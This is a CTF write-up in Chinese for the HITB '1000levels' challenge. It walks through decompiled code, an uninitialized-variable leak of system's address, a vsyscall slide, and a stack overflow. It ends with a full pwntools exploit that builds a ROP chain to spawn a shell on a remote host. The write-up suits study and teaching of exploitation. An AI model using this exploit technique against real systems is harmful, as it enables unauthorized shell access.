简介

本题是HITB CTF一开始就放出来的题,赛后根据bluecake@DUBHE的exp重新调了一下,特有此writeup。

题目

本题是x86_64的ELF程序,开启了NX和PIE。

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@2

  init();
  banner();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      v3 = read_num();
      if ( v3 != 2 )
        break;
      hint();
    }
    if ( v3 == 3 )
      break;
    if ( v3 == 1 )
      go();
    else
      puts("Wrong input");
  }
  give_up();
  return 0;
}

print_menu函数

int print_menu(void)
{
  puts("1. Go");
  puts("2. Hint");
  puts("3. Give up");
  return puts("Choice:");
}

hint函数

在hint函数中,根据反汇编的代码,会将system addr 保存在rbp-0x110中。那么,在hint函数结束后,main函数中的其它函数调用时,rbp-0x110处若未初始化,那么就可以获取到system的值。

int hint(void)
{
  signed __int64 v1; // [sp+8h] [bp-108h]@2
  signed int v2; // [sp+10h] [bp-100h]@3
  signed __int16 v3; // [sp+14h] [bp-FCh]@3

  if ( show_hint )
  {
    sprintf((char *)&v1, "Hint: %p\n", &system, &system);
  }
  else
  {
    v1 = 5629585671126536014LL;
    v2 = 1430659151;
    v3 = 78;
  }
  return puts((const char *)&v1);
}

hint_disas

GO函数

read两次,最终结果保存在v6中,根据v6的值来决定level的次数。题外话,题目中人如果出现很奇怪的逻辑,那么很可能就会是出现漏洞的地方。这里,如果v2>0不成立,那么就造成了v5的未初始化,v5为rbp-0x110。如果先调用hint再调用go,并且v2>=0不成立,那么就v5中就保存了system的地址。第二次read时,控制v3的值导致在对v6判断时,泄漏system的地址。

假设system地址为0x7ffff7a52390,由于开启了PIE,在加载到内存中的地址会变化,范围在0x7xxxxxxxx390。控制v5为-temp。temp在范围0x7xxxxxxxx390中从大到小变化,每次猜测x的其中一位。如果temp>system,则v6<0,输出Coward。当不输出Coward时,则代表该位猜测正确。

问题是在猜测其中一位正确后,程序进入level函数,计算完成后程序退出,因此只猜中了其中一位。

int go(void)
{
  int v1; // ST0C_4@10
  __int64 v2; // [sp+0h] [bp-120h]@1
  __int64 v3; // [sp+0h] [bp-120h]@4
  int v4; // [sp+8h] [bp-118h]@9
  __int64 v5; // [sp+10h] [bp-110h]@0
  signed __int64 v6; // [sp+10h] [bp-110h]@4
  signed __int64 v7; // [sp+18h] [bp-108h]@7
  __int64 v8; // [sp+20h] [bp-100h]@10

  puts("How many levels?");
  v2 = read_num();
  if ( v2 > 0 )                                 // if v2<0 then v5 not initialized
    v5 = v2;                                    // rbp-0x110 if call hint then v5 is system
  else
    puts("Coward");
  puts("Any more?");
  v3 = read_num();
  v6 = v5 + v3;                                 // this way to set v6 is strange
  if ( v6 > 0 )
  {
    if ( v6 <= 999 )
    {
      v7 = v6;
    }
    else
    {
      puts("More levels than before!");
      v7 = 1000LL;
    }
    puts("Let's go!'");
    v4 = time(0LL);
    if ( (unsigned int)level(v7) != 0 )
    {
      v1 = time(0LL);
      sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
      puts((const char *)&v8);
    }
    else
    {
      puts("You failed.");
    }
    exit(0);
  }
  return puts("Coward");
}

level函数

在level函数中,存在简单的栈溢出。由于没有canary,因此可以覆盖返回地址。但是由于程序开启了PIE,因此无法准确的溢出到某个具体的.text段中的地址。

查看一下read函数调用时的context_stack我们发现,在offset为36*0x8的地方,为_start的地址。因此,利用vsyscall中的系统调用来完成滑板操作,滑到_start处,即可重新返回程序一开始,因此可以多次猜测system的其它位数。

bof_stack

level函数中计算表达式的值时,可以溢出v7使得v7为0,同样开始处置0x00,则v2strol后也为0x00,绕过result的判断。当然也可以获取表达式计算一下。

__int64 __fastcall level(signed int a1)
{
  __int64 result; // rax@2
  __int64 v2; // rax@8
  __int64 buf; // [sp+10h] [bp-30h]@1
  __int64 v4; // [sp+18h] [bp-28h]@1
  __int64 v5; // [sp+20h] [bp-20h]@1
  __int64 v6; // [sp+28h] [bp-18h]@1
  int v7; // [sp+30h] [bp-10h]@5
  int v8; // [sp+34h] [bp-Ch]@5
  int v9; // [sp+38h] [bp-8h]@5
  int i; // [sp+3Ch] [bp-4h]@5

  buf = 0LL;
  v4 = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  if ( a1 )
  {
    if ( (unsigned int)level(a1 - 1) == 0 )
    {
      result = 0LL;
    }
    else
    {
      v9 = rand() % a1;
      v8 = rand() % a1;
      v7 = v8 * v9;
      puts("====================================================");
      printf("Level %d\n", (unsigned int)a1);
      printf("Question: %d * %d = ? Answer:", (unsigned int)v9, (unsigned int)v8);
      for ( i = read(0, &buf, 0x400uLL); i & 7; ++i )// buffer overflow!
        *((_BYTE *)&buf + i) = 0;
      v2 = strtol((const char *)&buf, 0LL, 10);
      result = v2 == v7;                        // buf start with \x00 set v2=0  and overflow set v7 =0 
    }
  }
  else
  {
    result = 1LL;
  }
  return result;
}

注意泄漏system地址时,获取的地址比真实的system地址小0x1000,才可以使得v6>0,进入1000次level计算,因此实际的system地址需要再加上0x1000。

获得system地址后,构造rop即可再次利用buffer overflow来getshell。

其它

在第1000次发送数据返回程序起始位置时,发现start下面还有main函数的地址,但是利用vsyscall nop到main时发现,猜测system第二位时,start的地址在栈中距离buffer的偏移改变了。因此,回到程序最原始的地方看起来比较靠谱。

在利用vsyscall时,vsyscall中存在多个地址。利用第一个地址来nop会失败,暂时不知道为什么。

0000| 0xffffffffff600000 (mov    rax,0x60)
0008| 0xffffffffff600008 (add    eax,0xccccccc3)
...
1024| 0xffffffffff600400 (mov    rax,0xc9)
1032| 0xffffffffff600408 (add    eax,0xccccccc3)
...
2048| 0xffffffffff600800 (mov    rax,0x135)
2056| 0xffffffffff600808 (add    eax,0xccccccc3)

exp

from pwn import *
import sys,getopt
import time

args = sys.argv[1:]
context(os='linux', arch='amd64')
debug = 1 if '-nd' not in args else 0

proc_name = './1000levels'
local = 1 if '-r' not in args else 0
isattach = local & 1  
bps = isattach &1 
ip = '47.74.147.103'
port = 20001
io = None


def makeio():
    global io 
    if local:
    	io = process(proc_name)
    else:
    	io = remote(ip,port)
def ru(data):
	return io.recvuntil(data)
def rv():
	return io.recv()
def sl(data):
	return io.sendline(data)
def sd(data):
	return io.send(data)
def rl():
	return io.recvline()
def lg(data):
    return log.info(data)
def sa(d,data):
    return io.sendafter(d,data)

def attach():
    if isattach:
        if bps:
            gdb.attach(pidof(io)[0], open('bps'))
        else:
            gdb.attach(pidof(io)[0])
def hint():
    sa('Choice:\n','2')

def go(levels,more):
    sa('Choice:\n','1')
    sa('levels?\n',str(levels))
    sa('more?\n',str(more))

def level(ans):
    sa('Answer:',ans)

def pwn():
    makeio()
    if debug:
        context.log_level = 'debug'
    # attach()
    leak = 0x700000000390
    for i in range(0x8,0x0,-1): # (8,7...,1)
        for j in range(0xf,-0x1,-1): # (0xf,0xd...,0x1,0x0)
            hint() # set system
            temp = leak + j * (1 << (i+2)*4)
            go(0,-temp)
            result = rl()   # dont use recv() beacuse sendlineafter in level
            print result
            if 'Coward' not in result: break
        leak = temp
        for k in range(999):
            level(p64(0)*5)
        log.info('level success')
        log.info('Got system:' + hex(leak))
        # raw_input('break *0x0000555555554F4D')
        level(p64(0xffffffffff600400)*35) # return to start
    system_addr = leak + 0x1000
    log.info('Got system:'+ hex(system_addr))

    libc = ELF('./local.libc.so.6')
    system_offset = libc.symbols['system']
    libc_addr = system_addr - system_offset
    binsh_addr = libc_addr + next(libc.search('/bin/sh\x00'))
    poprdi_ret = libc_addr + 0x21102

    go(0,1)
    payload = p64(poprdi_ret) + p64(binsh_addr) + p64(system_addr) 
    level('A'*0x30 + 'B'*0x8 + payload)
    
    sl('ls')
    io.interactive()


if __name__ == '__main__':
	pwn()

总结

  1. 存在栈溢出,在开启了PIE没有canary时,如果高地址处存在需要的地址,可以利用vsyscall中的指令来nop掉中间的数据。
  2. 反汇编代码可以帮助我们更准确的理解程序。
  3. 未初始化漏洞以后需要重点关注一下。
  4. 程序中存在奇怪的逻辑,往往存在漏洞。